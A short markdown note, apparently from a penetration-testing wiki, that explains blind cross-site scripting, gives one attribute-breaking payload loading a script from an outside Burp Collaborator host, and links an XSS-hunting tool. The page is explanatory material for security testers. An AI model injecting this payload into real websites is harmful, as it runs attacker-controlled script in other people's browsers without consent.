Skip to content

Latest commit

 

History

History
13 lines (8 loc) · 526 Bytes

blind-cross-site-scripting.md

File metadata and controls

13 lines (8 loc) · 526 Bytes

Blind Cross-Site Scripting

Blind cross-site scripting (XSS) attacks occur when an attacker is unable to directly see the results of their XSS payload on the targeted website, but can still confirm if the payload has executed successfully or not by observing the behavior of a third-party service, such as Burp Suite's Collaborator.

Basic <script> Payload:

"><script src="https://burpcollaborator.com"></script>

References

{% embed url="https://github.com/mandatoryprogrammer/xsshunter-express" %}